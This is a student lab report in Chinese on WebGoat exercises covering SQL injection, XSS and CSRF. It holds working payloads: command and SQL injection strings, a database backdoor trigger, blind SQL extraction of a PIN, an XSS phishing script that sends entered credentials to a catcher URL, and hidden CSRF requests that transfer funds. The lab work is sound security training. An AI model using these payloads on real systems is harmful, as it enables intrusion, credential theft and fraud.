1 基础问题回答
1.SQL注入攻击原理,如何防御?
原理:
通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意SQL命令的目的。SQL注入攻击是利用是指利用设计上的漏洞,在目标服务器上运行SQL语句以及进行其他方式的攻击,没有对用户输入的数据进行过滤消毒是攻击成功的主要原因。
防御:
(1)对漏洞注入点相关代码进行代码及SQL注入关键字的过滤,以规范代码安全性;
(2)不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接;
(3)应用的异常信息应该给出尽可能少的提示,最好使用自定义的错误信息对原始错误信息进行包装。
2.XSS攻击的原理,如何防御?
原理:
XSS攻击全称跨站脚本攻击,是为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS,XSS是一种在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。
防御:
(1)统XSS防御多采用特征匹配方式,在所有提交的信息中都进行匹配检查。对于这种类型的XSS攻击,采用的模式匹配方法一般会需要对“javascript”这个关键字进行检索,一旦发现提交信息中包含“javascript”,就认定为XSS攻击;
(2)检查用户输入的内容中是否有非法内容,如尖括号、引号等,严格控制输出。
3.CSRF攻击原理,如何防御?
原理:
CSRF(Cross-site request forgery)跨站请求伪造,也被称为“One Click Attack”或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。尽管听起来像跨站脚本(XSS),但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。
防御:
(1)对于web站点,将持久化的授权方法(例如cookie或者HTTP授权)切换为瞬时的授权方法(在每个form中提供隐藏field),这将帮助网站防止这些攻击。一种类似的方式是在form中包含秘密信息、用户指定的代号作为cookie之外的验证;
(2)改良站内 API 的设计。对于发布帖子这一类创建资源的操作,应该只接受 POST 请求,而 GET 请求应该只浏览而不改变服务器端资源。
2 实践过程记录
2.1 webgoat下载
下载地址:https://github.com/WebGoat/WebGoat/releases/tag/7.0.1)
下载完成后,将文件放到主目录下。
打开终端,输入 java -jar webgoat-container-7.0.1-war-exec.jar
在浏览器中打开 http://localhost:8080/WebGoat ,输入默认的用户名和密码进行登录
2.2 SQL注入攻击(Injection Flaws)
2.2.1命令注入(Command Injection)
选择 Injection Flaws -> Command Injection
右键页面中复选框,选择inspect Element审查网页元素对源代码进行修改,在末尾添加"& netstat -an & ipconfig"
点击 view,看到网络端口使用情况和 IP 地址,攻击成功
2.2.2 数字型SQL注入(Numeric SQL Injection)
选择 Injection Flaws -> Numeric SQL Injection
右键页面中复选框,选择inspect Element审查网页元素对源代码value="101"
进行修改,在城市编号101后面添加or 1=1
点击 Go,可以看到攻击成功
2.2.3 日志欺骗(Log Spoofing)
选择 Injection Flaws -> Log Spoofing
在User Name中输入dgx%0d%0aLogin Succeeded for username: admin
利用0D%(回车)和%0A(换行)让其在日志中显示两行
输入任意密码后点击 Login,成功将用户名追加到日志文件中。
2.2.4字符串注入(String SQL Injection)
选择 Injection Flaws -> String SQL Injection,右键页面将password密码框,选择inspect Element审查网页元素对源代码进行修改,将其最大长度限制改为20
以用户Neville登录,输入密码Smith' or '1' = '1
攻击成功,得到所有人员列表
2.2.5 数据库后门(Database Backdoors)
选择 Injection Flaws -> Database Backdoors
输入101
,得到该用户的信息
输入注入语句101; update employee set salary=10000
输入101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com'WHERE userid = NEW.userid
设置触发器
2.2.6 盲数字SQL注入(Blind Numeric SQL Injection)
服务端页面返回的信息有两种:帐号有效,账号无效,因此无法简单地查询到帐号的 PIN 数值。但可以利用系统后台在用的查询语句SELECT * FROM user_data WHERE userid=accountNumber;如果返回了帐号的信息,页面将提示帐号有效,否则提示无效。
输入101 AND 1=1
页面返回帐号有效
输入101 AND 1=2
第二个条件不成立,页面返回帐号无效
输入101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );
页面返回帐号无效,说明PIN<=10000
不断调整数值,可以缩小判断范围,并最终判断出PIN 数值的大小。最终如下语句返回帐号有效:101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') = 2364 );
2.3XXS攻击
2.3.1跨站脚本钓鱼攻击(Phishing with XSS)
使用XSS和HTML插入制作一个钓鱼网站,将其输入在search框中,代码如下:
</form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br><br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR
输入后下拉网页,会有用户名和密码的框出现,随意输入用户名和密码
2.3.2 存储型XSS攻击(Stored XSS Attacks)
在title中任意输入字符,留言板中输入<script>alert("I am 20164302. You've been attacked!!!");</script>
2.3.3 反射型XSS攻击(Reflected XSS Attacks)
在Enter your three digit access code:中输入<script>alert("I am 20164302");</script>点击Purchase,成功显示警告框,内容为我们script脚本指定的内容。
2.4CSRF攻击
2.4.1绕过 CSRF 确认( CSRF Prompt By‐Pass)
查看页面右侧Parameters中的src和menu值分别为274和900
查看页面右侧Parameters中的src和menu值,分别为2078372和900
在title中输入任何参数,message框中输入
<iframe src="attack?Screen=274&menu=900&transferFunds=5000"> </iframe>
<iframe src="attack?Screen=274&menu=900&transferFunds=CONFIRM"> </iframe>
以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的(宽高设置成1像素的目的是隐藏该图片),用户一旦点击图片,就会触发一个CSRF事件,点击Submit提交
在Message List中生成以Title命名的消息。点击该消息,当前页面就会下载这个消息并显示出来,转走用户的5000元,从而达到CSRF攻击的目的。可以从左侧的任务栏看到任务已完成
2.4.2 跨站请求伪造(Cross Site Request Forgery (CSRF))
查看Parameters中的src和menu值,分别为312和900
在title中输入任何参数,message框中输入
<img src="http://localhost:8080/WebGoat/attack?Screen=312&menu=900&transferFunds=5000" width="1" height="1" />
点击 Submit (其中语句中的&transferFunds=5000,即转走的受害人的金额;宽高设置成1像素的目的是隐藏该图片)
3 实验感悟
这是课程的最后一次实验,实验内容并不算太复杂,在webgoat上完成,还会有指导,通过实际操作,对SQL、XSS、CSRF有了进一步的了解。自己在实际动手操作方面一直比较薄弱,可以说这门课程对自己来说是一次磨炼,收获了不少。